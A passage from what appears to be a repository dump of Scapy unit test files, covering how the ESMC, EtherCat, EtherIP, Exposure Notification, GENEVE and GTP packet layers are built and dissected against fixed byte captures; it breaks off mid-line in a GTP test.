    "content": "% ESMC unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('esmc')\" -t test/contrib/esmc.uts\n\n+ ESMC\n\n= Build & dissect ESMC and QLTLV\n\npkt = Ether(src=\"00:13:c4:12:0f:0d\") / SlowProtocol() / ESMC(event=1) / QLTLV(ssmCode=0x2)\npkt.show()\ns = raw(pkt)\nraw_pkt = b'\\x01\\x80\\xc2\\x00\\x00\\x02\\x00\\x13\\xc4\\x12\\x0f\\x0d\\x88\\x09\\x0a\\x00\\x19\\xa7\\x00' \\\n\t  b'\\x01\\x18\\x00\\x00\\x00\\x01\\x00\\x04\\x02'\nassert s == raw_pkt\n\np = Ether(s)\nassert SlowProtocol in p and ESMC in p and QLTLV in p\nassert raw(p) == raw_pkt\n\n= Build & dissect ESMC and EQLTLV\n\npkt = pkt / EQLTLV(clockIdentity=b'\\x11\\x22\\x33\\x44\\x55\\x66\\x77\\x88')\npkt.show()\ns = raw(pkt)\nraw_pkt = b'\\x01\\x80\\xc2\\x00\\x00\\x02\\x00\\x13\\xc4\\x12\\x0f\\x0d\\x88\\x09\\x0a\\x00\\x19\\xa7\\x00' \\\n\t  b'\\x01\\x18\\x00\\x00\\x00\\x01\\x00\\x04\\x02\\x02\\x00\\x14\\xff\\x11\\x22\\x33\\x44\\x55\\x66' \\\n\t  b'\\x77\\x88\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00'\nassert s == raw_pkt\n\np = Ether(s)\nassert SlowProtocol in p and ESMC in p and QLTLV in p and EQLTLV in p\nassert raw(p) == raw_pkt\n"
  },
  {
    "path": "test/contrib/ethercat.uts",
    "content": "% EtherCat test campaign\n\n#\n# execute test:\n# $ test/run_tests -P \"load_contrib('ethercat')\" -t test/contrib/ethercat.uts\n#\n\n+ LEBitFields\n= regression test\n\nTEST_SAMPLE_ENUM = {\n    0x01: 'one',\n    0x02: 'two',\n    0x03: 'three',\n    0x04: 'four',\n    0x05: 'five',\n    0x06: 'six',\n    0x07: 'seven'\n}\n\nclass BitFieldUserExampleLE(Packet):\n\n    fields_desc = [\n        LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM),\n        LEBitField('b', 0, 18),\n        LEBitField('c', 0, 5),\n        LEBitField('d', 0, 23),\n    ]\n\nclass BitFieldUserExample(Packet):\n\n    fields_desc = [\n        BitEnumField('a', 0, 2, TEST_SAMPLE_ENUM),\n        BitField('b', 0, 18),\n        BitField('c', 0, 5),\n        BitField('d', 0, 23),\n    ]\n\ntest_data = [\n    {\n        'a':0x01,\n        'b':0x00,\n        'c':0x00,\n        'd':0x123456\n    },\n    {\n        'a': 0x00,\n        'b': 0b111111111111111111,\n        'c': 0x00,\n        'd': 0x112233\n    },\n    {\n        'a': 0x00,\n        'b': 0x00,\n        'c': 0x01,\n        'd': 0x00\n    },\n]\n\nfor data in test_data:\n    bf_le = BitFieldUserExampleLE(**data)\n    bf = BitFieldUserExample(**data)\n    # rebuild big-endian and little-endian bitfields from its own binary expressions\n    bf_le = BitFieldUserExampleLE(bf_le.do_build())\n    bf = BitFieldUserExample(bf.do_build())\n    ''' disabled as only required for 'visual debugging'\n    from scapy.compat import raw\n    # dump content for debugging\n    bitstr = ''\n    hexstr = ''\n    for i in bytearray(raw(bf)):\n        bitstr += '{:08b} '.format(i)\n        hexstr += '{:02x} '.format(i)\n    print('BE - BITS: {} HEX: {}  ({})'.format(bitstr, hexstr, data))\n    bitstr = ''\n    hexstr = ''\n    for i in bytearray(raw(bf_le)):\n        bitstr += '{:08b} '.format(i)\n        hexstr += '{:02x} '.format(i)\n    print('LE - BITS: {} HEX: {}  ({})'.format(bitstr, hexstr, data))\n    '''\n    # compare values\n    for key in data:\n        assert getattr(bf,key) == data[key]\n        assert (getattr(bf_le, key) == data[key])\n\n= Avoid mix of LEBitFields and BitFields\n\nTEST_SAMPLE_ENUM = {\n    0x01: 'one',\n    0x02: 'two',\n    0x03: 'three',\n    0x04: 'four',\n    0x05: 'five',\n    0x06: 'six',\n    0x07: 'seven'\n}\n\nclass MissingFieldSameLEFieldTypes(Packet):\n\n    fields_desc = [\n        LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM),\n        LEBitField('b', 0, 18),\n    ]\n\ntry:\n    frm = MissingFieldSameLEFieldTypes().build()\n    assert False\nexcept LEBitFieldSequenceException:\n    pass\n\n\nclass MissingFieldDifferentLEFieldTypes(Packet):\n\n    fields_desc = [\n        LEBitEnumField('a', 0, 2, TEST_SAMPLE_ENUM),\n        LEBitField('b', 0, 18),\n    ]\n\ntry:\n    frm = MissingFieldDifferentLEFieldTypes().build()\n    assert False\nexcept LEBitFieldSequenceException:\n    pass\n\n\nclass MixedBitFieldTypesLEBE(Packet):\n\n    fields_desc = [\n        LEBitField('a', 0, 12),\n        BitField('b', 0, 4),\n    ]\n\ntry:\n    frm = MixedBitFieldTypesLEBE().build()\n    assert False\nexcept LEBitFieldSequenceException:\n    pass\n\n\nclass MixedBitFieldTypesBELE(Packet):\n\n    fields_desc = [\n        BitField('b', 0, 4),\n        LEBitField('a', 0, 12),\n    ]\n\ntry:\n    frm = MixedBitFieldTypesBELE().build()\n    assert False\nexcept LEBitFieldSequenceException:\n    pass\n\n################################################\n+ EtherCat header layer handling\n= EtherCat and padding\n\nfrm = Ether() / EtherCat()\n# even with padding the length must be zero\n# the Ether(do_build()) forces the calculation of all (post_build generated) fields\nfrm = Ether(frm.do_build())\nassert frm[EtherCat].length == 0\nassert len(frm) == 60\nfrm = Ether()/Dot1Q()/Dot1Q()/EtherCat()\nfrm = Ether()/EtherCat()\nassert len(frm) == 60\nfrm = Ether(frm.do_build())\nassert frm[EtherCat].length == 0\n\n= EtherCat and RawPayload\n\nfrm=Ether()/EtherCat()/Raw(b'0123456789')\nassert len(frm) == 60\nfrm = Ether(frm.do_build())\nassert frm[EtherCat].length == 10\nfrm = Ether()/EtherCat()/Raw(b'012345678901234567890123456789012345678901234567890123456789')\nfrm = Ether(frm.do_build())\nassert len(frm) == 76\nassert frm[EtherCat].length == 60\n\n= EtherCat - test invalid length detection\n\nnums_11_bits = [random.randint(0, 65535) & 0b11111111111 for dummy in range(0, 23)]\nnums_4_bits = [random.randint(0, 16) & 0b1111 for dummy in range(0, 23)]\n\nold_max_list_count = conf.max_list_count\nconf.max_list_count = 3000\n\nfrm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[1]*2035, c=1)\nfrm = Ether(frm.do_build())\nassert frm[EtherCat].length == 2047\nassert len(frm[EtherCatAPRD].data) == 2035\nassert frm[EtherCatAPRD].c == 1\n\ndata_oversized = False\ntry:\n    frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2048, c=1)\n    frm = Ether(frm.do_build())\nexcept ValueError as err:\n    data_oversized = True\n    assert 'data size' in str(err)\n\nassert data_oversized == True\ndlpdu_oversized = False\ntry:\n    frm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[2]*2036, c=1)\n    frm = Ether(frm.do_build())\nexcept ValueError as err:\n    dlpdu_oversized = True\n    assert 'EtherCat message' in str(err)\n\nassert dlpdu_oversized == True\n\nfrm = Ether()/EtherCat(_reserved=1)/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=[3], c=0)\nfrm = Ether(frm.do_build())\nassert frm[EtherCatAPRD].c == 0\n\n\nassert frm[EtherCat]._reserved == 0\n\nconf.max_list_count = old_max_list_count\n\n= EtherCat and Type12 DLPDU layers\n\nfor type_id in EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES:\n    data = [random.randint(0, 255) for dummy in range(random.randint(1, 10))]\n    frm = Ether() / EtherCat() / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id](data= data)\n    frm = Ether(frm.do_build())\n    # expect to have one layer of current Type12 DLPDU type\n    dlpdu_lyr = frm[EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[type_id]]\n    assert dlpdu_lyr.data == data\n\n= EtherCat and Type12 DLPDU layer using structure used for physical and broadcast addressing\n\n# the code is the same for all layer sharing this structure - no need to test em all\ntest_data = [121,99,110,104,114,109,58,41]\nfrm = Ether()/EtherCat()/EtherCatAPRD(adp=0x1234, ado=0x5678, irq=0xbad0, wkc=0xbeef, data=test_data)\nfrm = Ether(frm.do_build())\naprd_lyr = frm[EtherCatAPRD]\nassert aprd_lyr.adp == 0x1234\nassert aprd_lyr.ado == 0x5678\nassert aprd_lyr.irq == 0xbad0\nassert aprd_lyr.wkc == 0xbeef\nassert aprd_lyr.data == test_data\n\n= EtherCat and Type12 DLPDU layer using structure used for logical addressing\n\ntest_data = [116,104,101,116,97,111,105,115,103,114,101,97,116]\nfrm = Ether() / EtherCat() / EtherCatLRD(adr=0x11223344, irq=0xbad0, wkc=0xbeef, data=test_data)\nfrm = Ether(frm.do_build())\naprd_lyr = frm[EtherCatLRD]\nassert (aprd_lyr.adr == 0x11223344)\nassert (aprd_lyr.irq == 0xbad0)\nassert (aprd_lyr.wkc == 0xbeef)\nassert (aprd_lyr.data == test_data)\n\n= EtherCat and randomly stacked Type12 DLPDU layers\n\nfor outer_dummy in range(10):\n    frm = Ether()/EtherCat()\n    layer_ids = []\n    for inner_dummy in range(random.randint(1, 20)):\n        layer_id = random.choice(list(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES))\n        layer_ids.append(layer_id)\n        frm = frm / EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]()\n    # build frame and convert back\n    frm = Ether(frm.do_build())\n    idx = 0\n    for layer_id in layer_ids:\n        assert type(EtherCat.ETHERCAT_TYPE12_DLPDU_TYPES[layer_id]()) == type(frm[2 + idx])\n        idx += 1\n"
  },
  {
    "path": "test/contrib/etherip.uts",
    "content": "+ EtherIP Contrib tests\n\n= Basic EtherIP test\n\npkt = Ether(b'\\x99\\xc1o\\xd2\\xf5c\\x9d\\xb7\\xd0\\xc2\\xe0\\xd3\\x08\\x00E\\x00\\x00@\\x00\\x01\\x00\\x00@a,\\xf3B\\x83\\x17\\xc6\\xad\\xc2E^0\\x00\\xd5/\\xf26\\xab\\xe2\\x9f\\xb4tD\\xa4\\x98\\x08\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01W-\\xe7\\x98H\\xfa\\xad\\xc2E^\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00')\nassert ICMP in pkt\nassert EtherIP in pkt\n"
  },
  {
    "path": "test/contrib/exposure_notification.uts",
    "content": "% Exposure Notification System tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('exposure_notification')\" -t test/contrib/exposure_notification.uts\n\n+ ENS tests\n\n= Setup\n\ndef next_eir(p):\n   return EIR_Hdr(p[Padding].load)\n\n= Presence check\n\nExposure_Notification_Frame\n\n= Raw payload copied from BluetoothExplorer.app\n\nd = hex_bytes('17df1d67405e3395470e62ca4fda6a9303687b31')\np = Exposure_Notification_Frame(d)\n\nassert p.identifier == hex_bytes('17df1d67405e3395470e62ca4fda6a93')\nassert p.metadata == hex_bytes('03687b31')\n\n= Raw captured payload\n\nd = hex_bytes('02011a03036ffd17166ffde23f352fa09307a85d4194912443180d484dc151')\np = EIR_Hdr(d)\n\n# First is a flags header\nassert EIR_Flags in p\n\n# Then the 16-bit Service Class ID\np = next_eir(p)\nassert p[EIR_CompleteList16BitServiceUUIDs].svc_uuids == [\n    EXPOSURE_NOTIFICATION_UUID]\n\n# Then the ENS\np = next_eir(p)\nassert p[EIR_ServiceData16BitUUID].svc_uuid == EXPOSURE_NOTIFICATION_UUID\nassert p[Exposure_Notification_Frame].identifier == hex_bytes(\n    'e23f352fa09307a85d4194912443180d')\nassert p[Exposure_Notification_Frame].metadata == hex_bytes('484dc151')\n\n# Rebuild the payload.\np2 = p[Exposure_Notification_Frame].build_eir()\n\n# Our captured payload was from a mobile phone, but build_eir presumes that\n# we're broadcasting as an non-connectable, LE-only beacon. We need to adjust\n# these flags to match the captured packet.\np2[0] = EIR_Hdr() / EIR_Flags(flags=[\n    'general_disc_mode', 'simul_le_br_edr_ctrl', 'simul_le_br_edr_host'])\n\n# Ensure we didn't mutate LowEnergyBeaconHelper.base_eir just then.\nassert LowEnergyBeaconHelper.base_eir[0][EIR_Flags].flags == [\n    'general_disc_mode', 'br_edr_not_supported']\n\n# Assemble all packet bytes\nassert b''.join(map(raw, p2)) == d\n"
  },
  {
    "path": "test/contrib/geneve.uts",
    "content": "# GENEVE unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('geneve')\" -t test/contrib/geneve.uts\n\n+ GENEVE\n\n= Build & dissect - GENEVE encapsulates Ether\n\ns = raw(IP()/UDP(sport=10000)/GENEVE()/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22'))\nassert s == b'E\\x00\\x002\\x00\\x01\\x00\\x00@\\x11|\\xb8\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\'\\x10\\x17\\xc1\\x00\\x1e\\x9a\\x1c\\x00\\x00eX\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x11\\x11\\x11\\x00\\x02\\x00\"\"\"\\x90\\x00'\n\np = IP(s)\nassert GENEVE in p and Ether in p[GENEVE].payload\n\n\n= Build & dissect - GENEVE with options encapsulates Ether\n\ns = raw(IP()/UDP(sport=10000)/GENEVE(critical=1, options=b'\\x00\\x01\\x81\\x02\\x0a\\x0a\\x0b\\x0b')/Ether(dst='00:01:00:11:11:11',src='00:02:00:22:22:22'))\nassert s == b'E\\x00\\x00:\\x00\\x01\\x00\\x00@\\x11|\\xb0\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\'\\x10\\x17\\xc1\\x00&\\x01\\xb4\\x02@eX\\x00\\x00\\x00\\x00\\x00\\x01\\x81\\x02\\n\\n\\x0b\\x0b\\x00\\x01\\x00\\x11\\x11\\x11\\x00\\x02\\x00\"\"\"\\x90\\x00'\n\np = IP(s)\nassert GENEVE in p and Ether in p[GENEVE].payload and p[GENEVE].critical == 1 and p[GENEVE].optionlen == 2\n\n= Build & dissect - GENEVE with metadata options encapsulates Ether\n\ns = raw(Ether()/Dot1Q()/IP()/UDP(sport=57025,dport=6081)/GENEVE(proto=0x6558,options=GeneveOptions(classid=0x0102,type=0x80,data=b'\\x00\\x01\\x00\\x02'))/Ether()/IP()/ICMP(type=8))\nassert (s == b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x81\\x00\\x00\\x01\\x08\\x00E\\x00\\x00V\\x00\\x01\\x00\\x00@\\x11|\\x94\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\xde\\xc1\\x17\\xc1\\x00B\\x1a\\x86\\x02\\x00eX\\x00\\x00\\x00\\x00\\x01\\x02\\x80\\x01\\x00\\x01\\x00\\x02\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01|\\xde\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00')\n\np = Ether(s)\nassert GENEVE in p and Ether in p[GENEVE].payload and p[GENEVE].proto == 0x6558 and p[GeneveOptions].length == 1 and p[GeneveOptions].classid == 0x102 and p[GeneveOptions].type == 0x80\n\n= Build & dissect - GENEVE with multiple options\n\ns = raw(GENEVE(proto=0x0800,options=[GeneveOptions(classid=0x0102,type=0x1,data=b'\\x00\\x01\\x00\\x02'), GeneveOptions(classid=0x0102,type=0x2,data=b'\\x00\\x01\\x00\\x02')]))\np = GENEVE(s)\nassert p.optionlen == 4\nassert len(p.options) == 2\nassert p.options[0].classid == 0x102 and p.options[0].type == 0x1\nassert p.options[1].classid == 0x102 and p.options[1].type == 0x2\n\n\n= Build & dissect - GENEVE encapsulates IPv4\n\ns = raw(IP()/UDP(sport=10000)/GENEVE()/IP())\nassert s == b\"E\\x00\\x008\\x00\\x01\\x00\\x00@\\x11|\\xb2\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01'\\x10\\x17\\xc1\\x00$\\xba\\xd2\\x00\\x00\\x08\\x00\\x00\\x00\\x00\\x00E\\x00\\x00\\x14\\x00\\x01\\x00\\x00@\\x00|\\xe7\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\"\n\np = IP(s)\nassert GENEVE in p and IP in p[GENEVE].payload\n\n\n= Build & dissect - GENEVE encapsulates IPv6\ns = raw(IP()/UDP(sport=10000)/GENEVE()/IPv6())\nassert s == b\"E\\x00\\x00L\\x00\\x01\\x00\\x00@\\x11|\\x9e\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01'\\x10\\x17\\xc1\\x008\\xa0\\x8a\\x00\\x00\\x86\\xdd\\x00\\x00\\x00\\x00`\\x00\\x00\\x00\\x00\\x00;@\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\"\n\np = IP(s)\nassert GENEVE in p and IPv6 in p[GENEVE].payload\n\n= GENEVE - Answers\n\na = GENEVE(proto=0x0800)/b'E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01\\xfa$\\xc0\\xa8\\x00w\\xac\\xd9\\x12\\xc3\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00'\nb = GENEVE(proto=0x0800)/b'E\\x00\\x00\\x1c\\x00\\x00\\x00\\x007\\x01\\x03&\\xac\\xd9\\x12\\xc3\\xc0\\xa8\\x00w\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'\nc = Raw(\"data\")\n\na = GENEVE(raw(a))\nb = GENEVE(raw(b))\n\nassert b.answers(a)\nassert not a.answers(b)\nassert not b.answers(c)\nassert not a.answers(c)\n\n= GENEVE - Summary\n\na = GENEVE(proto=0x0800)/b'E\\x00\\x00\\x1c\\x00\\x01\\x00\\x00@\\x01\\xfa$\\xc0\\xa8\\x00w\\xac\\xd9\\x12\\xc3\\x08\\x00\\xf7\\xff\\x00\\x00\\x00\\x00'\na = GENEVE(raw(a))\nassert a.summary() == 'GENEVE / IP / ICMP 192.168.0.119 > 172.217.18.195 echo-request 0'\nassert a.mysummary() in ['GENEVE (vni=0x0,optionlen=0,proto=0x800)', 'GENEVE (vni=0x0,optionlen=0,proto=IPv4)']\n\n= GENEVE - Optionlen\n\nfor size in range(0, 0x1f, 4):\n    p = GENEVE(bytes(GENEVE(options=GeneveOptions(data=RandString(size)))))\n    assert p[GENEVE].optionlen == (size // 4 + 1)\n    assert len(p[GENEVE].options[0].data) == size\n\n"
  },
  {
    "path": "test/contrib/gtp.uts",
    "content": "# GTP unit tests\n#\n# Type the following command to launch start the tests:\n# $ test/run_tests -P \"load_contrib('gtp')\" -t test/contrib/gtp.uts\n\n+ GTPv1\n\n= GTPHeader, basic instantiation\n\na = GTPHeader()\nassert a.version == 1\nassert a.E == a.S == a.PN == 0\n\n= GTP_U_Header detection\n\na = GTPHeader(raw(GTP_U_Header()/GTPErrorIndication()))\nassert isinstance(a, GTP_U_Header)\n\n= GTP_U_Header with PDU Session Container\n\na = GTPHeader(raw(GTP_U_Header()/GTPPDUSessionContainer(QFI=3)))\nassert isinstance(a, GTP_U_Header)\nassert a[GTP_U_Header].E == 1 and a[GTP_U_Header].next_ex == 0x85\nassert a[GTPPDUSessionContainer].ExtHdrLen == 1\nassert a[GTPPDUSessionContainer].PPP == 0 and a[GTPPDUSessionContainer].RQI == 0\nassert a[GTPPDUSessionContainer].QFI == 3\nassert a[GTPPDUSessionContainer].NextExtHdr == 0\n\n= GTP_U_Header with PDU Session Container with QFI/PPI\n\na = GTPHeader(raw(GTP_U_Header()/GTPPDUSessionContainer(type=0, QFI=3, PPP=1, PPI=6)))\nassert isinstance(a, GTP_U_Header)\nassert a[GTP_U_Header].E == 1 and a[GTP_U_Header].next_ex == 0x85\nassert a[GTPPDUSessionContainer].ExtHdrLen == 2\nassert a[GTPPDUSessionContainer].PPP == 1 and a[GTPPDUSessionContainer].RQI == 0\nassert a[GTPPDUSessionContainer].QFI == 3 and a[GTPPDUSessionContainer].PPI == 6\nassert a[GTPPDUSessionContainer].NextExtHdr == 0\nassert a[GTPPDUSessionContainer].type == 0\n\n= GTP_U_Header sub layers\n\na = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IPv6()))\nb = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IP()))\nc = IP(raw(IP()/UDP()/GTP_U_Header()/IPv6()))\nd = IP(raw(IP()/UDP()/GTP_U_Header()/IP()))\n\nassert isinstance(a[GTP_U_Header].payload, IPv6)\nassert isinstance(b[GTP_U_Header].payload, IP)\nassert isinstance(c[GTP_U_Header].payload, IPv6)\nassert isinstance(d[GTP_U_Header].payload, IP)\n\na = IP(raw(IP()/UDP()/GTP_U_Header()/PPP()))\nassert isinstance(a[GTP_U_Header].payload, PPP)\n\n= GTPPDUSessionContainer(), dissect\nh = 'fa163ed6de7bfa163ed82b9408004500008400000000fe114b560a0a2e010a0a2efe086808680070000034ff006000000001fa163e850200ff800000000045000054074d00004001fb490a0a31fe0a0a32010000325600930001c444ca5f00000000759e0a0000000000101112131415161718191a1b1c1d1e1f202122232425262728292a2b2c2d2e2f3031323334353637'\ngtp = Ether(hex_bytes(h))\ngtp[GTP_U_Header].ExtHdrLen == 2 and gtp[GTP_U_Header].padding == b'\\x00\\x00\\x00' and gtp[GTP_U_Header][IP].src == '10.10.49.254' and gtp[GTP_U_Header][IP][ICMP].type == 0 and gtp[GTP_U_Header].type == 0 and gtp[GTP_U_Header].QMP == 0 and gtp[GTP_U_Header].PPP == 1 and gtp[GTP_U_Header].RQI == 1 and gtp[GTP_U_Header].QFI == 63 and gtp[GTP_U_Header].PPI == 4\n\n= GTPPDUSessionContainer with padding\ndata = b'\\xff\\xff\\xff\\xff\\xff\\xff\\x00\\x00\\x00\\x00\\x00\\x00\\x08\\x00E\\x00\\x00^\\x00\\x01\\x00\\x00@\\x11|\\x8c\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08h\\x08h\\x00J\\xed^4\\xff\\x00:\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x85\\x04\\x08\\xbf\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00E\\x00\\x00&\\x00\\x01\\x00\\x00@\\x11|\\xc4\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x005\\x005\\x00\\x12\\x01^ffffffffff000'\ngtp = Ether(data)\nassert IP in gtp\n\n= GTPEchoResponse matches GTPEchoRequest by seq\nreq = GTPHeader(seq=12345)/GTPEchoRequest()\nres = GTPHeader(seq=12345)/GTPEchoResponse()\nassert req.hashret() == res.hashret()\nassert res.answers(req)\n\n= GTPCreatePDPContextRequest(), basic instantiation\ngtp = IP(src=\"127.0.0.1\", dst=\"127.0.0.1\")/UDP(dport=2123, sport=2123)/GTPHeader(teid=2807)/GTPCreatePDPContextRequest()\ngtp.dport == 2123 and gtp.teid == 2807 and len(gtp.IE_list) == 5\n\n= GTPCreatePDPContextRequest(), basic dissection\nrandom.seed(0x2807)\nrg = raw(gtp)\nrg\nassert rg in [\n    b\"E\\x00\\x00K\\x00\\x01\\x00\\x00@\\x11|\\x9f\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08K\\x08K\\x007\\x8e\\x860\\x10\\x00'\\x00\\x00\\n\\xf7\\x10\\x12\\x05\\xf7(\\x14\\x0b\\x85\\x00\\x04_\\xe2,i\\x85\\x00\\x04\\xadm\\x97\\x83\\x87\\x00\\x0f1DfOTLcIukpXKxV\",\n    b'E\\x00\\x00K\\x00\\x01\\x00\\x00@\\x11|\\x9f\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08K\\x08K\\x007ty0\\x10\\x00\\'\\x00\\x00\\n\\xf7\\x10\\xf0\\x84\"\\x1c\\x14\\x00\\x85\\x00\\x04\\x02D\\x81\\xe8\\x85\\x00\\x04\\xbd\\xeb\\x92z\\x87\\x00\\x0fv2LUNmjgwdrVOeg',\n    b\"E\\x00\\x00K\\x00\\x01\\x00\\x00@\\x11|\\x9f\\x7f\\x00\\x00\\x01\\x7f\\x00\\x00\\x01\\x08K\\x08K\\x007n\\xb20\\x10\\x00'\\x00\\x00\\n\\xf7\\x10\\x91\\x9f\\xbc\\xaa\\x14\\x07\\x85\\x00\\x04<\\x7f\\x87\\x14\\x85\\x00\\x04\\xbcU\\x14\\xcb\\x87\\x00\\x0f9Co27Fbj65eKHyQ\",\n]\n\n= GTPV1UpdatePDPContextRequest(), dissect\nh = \"3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044ed99aea9386f0000100000530514058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080112f41004d204d29900024000b6000101\"\ngtp = Ether(hex_bytes(h))\nassert gtp.gtp_type == 18\nassert gtp.next_ex == 0\n\n= GTPV1UpdatePDPContextResponse(), dissect\nh = \"3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300305843da17f07300000180100000032c7f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a\"\ngtp = Ether(hex_bytes(h))\ngtp.gtp_type == 19\n\n= IE_Cause(), dissect\nh = \"3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b4632130030f15422be19ed0000018010000046a97f4a0f58108500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 1 and ie.CauseValue == 128\n\n= IE_Cause(), basic instantiation\nie = IE_Cause(CauseValue='IMSI not known')\nie.ietype == 1 and ie.CauseValue == 194\n\n= IE_IMSI(), dissect\nh = \"333333333333222222222222810083840800458800ba00000000fc1185060a2a00010a2a00024ace084b00a68204321000960eeec43e99ae00000202081132547600000332f42004d27b0ffc102c0787b611b2f9023914051a0400800002f1218300070661616161616184001480802110010100108106000000008306000000008500040a2a00018500040a2a00018600079111111111111187000d0213621f7396737374f2ffff0094000120970001029800080032f42004d204d299000240009a00081111111111110000d111193b\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 2 and ie.imsi == b'2080112345670000'\n\n= IE_IMSI(), basic instantiation\nie = IE_IMSI(imsi='208103397660354')\nie.ietype == 2 and ie.imsi == b'208103397660354'\n\n= IE_Routing(), dissect\nh = \"33333333333322222222222281008384080045880072647100003e11dcf60a2a00010a2a0002084b084b005e78d93212004ef51a4ac3a291ff000332f42004d27b10eb3981b414058500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a0094000110970001019800080132f42004d204d299000240fcb60001015bf2090f\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123\n\n= IE_Routing(), basic instantiation\nie = IE_Routing(MCC='234', MNC='02', LAC=1234, RAC=123)\nie.ietype == 3 and ie.MCC == b'234' and ie.MNC == b'02' and ie.LAC == 1234 and ie.RAC == 123\n\n= IE_Recovery(), dissect\nh = \"3333333333332222222222228100038408004500002ac6e60000fd11ccbc0a2a00010a2a0002084b084b001659db32020006c192a26c8cb400000e0e00000000f4b40b31\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[0]\nie.ietype == 14 and ie.restart_counter == 14\n\n= IE_Recovery(), basic instantiation\nie = IE_Recovery(restart_counter=14)\nie.ietype == 14 and ie.restart_counter == 14\n\n= IE_SelectionMode(), dissect\nh = \"333333333333222222222222810083840800458800c500000000fc1184df0a2a00010a2a00024a55084b00b1f62a321000a11c025b77dccc00000202081132547600000332f42004d27b0ffc1055080923117c347b6a14051a0a00800002f1218300070661616161616184001d8080211001000010810600000000830600000000000d00000a000005008500040a2a00018500040a2a00018600079111111111111187000f0213921f7396d3fe74f2ffff00640094000120970001019800080132f42004d204d299000240009a00081111111111110000eea69220\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[2]\nie.ietype == 15 and ie.SelectionMode == 252\n\n= IE_SelectionMode(), basic instantiation\nie = IE_SelectionMode(SelectionMode=252)\nie.ietype == 15 and ie.SelectionMode == 252\n\n= IE_TEIDI(), dissect\nh = \"3333333333332222222222228100838408004588005400000000fd1182850a2a00010a2a0002084b084b00406b46321300303f0ff4fb966f00000180109a0f08ef7f3af826978500040a2a00018500040a2a000187000f0213921f7396d1fe7482ffff004a00f7a71e0a\"\ngtp = Ether(hex_bytes(h))\nie = gtp.IE_list[1]\nie.ietype == 16 and ie.TEIDI == 0x9a0f08ef\n\n= IE_TEIDI(), basic instantiation\nie = IE_TEIDI(TEIDI=0x9a0f08ef)\nie.ietype == 16 and ie.TEIDI == 0x9a0f08ef\n\n= IE_TEICP(), dissect\nh = 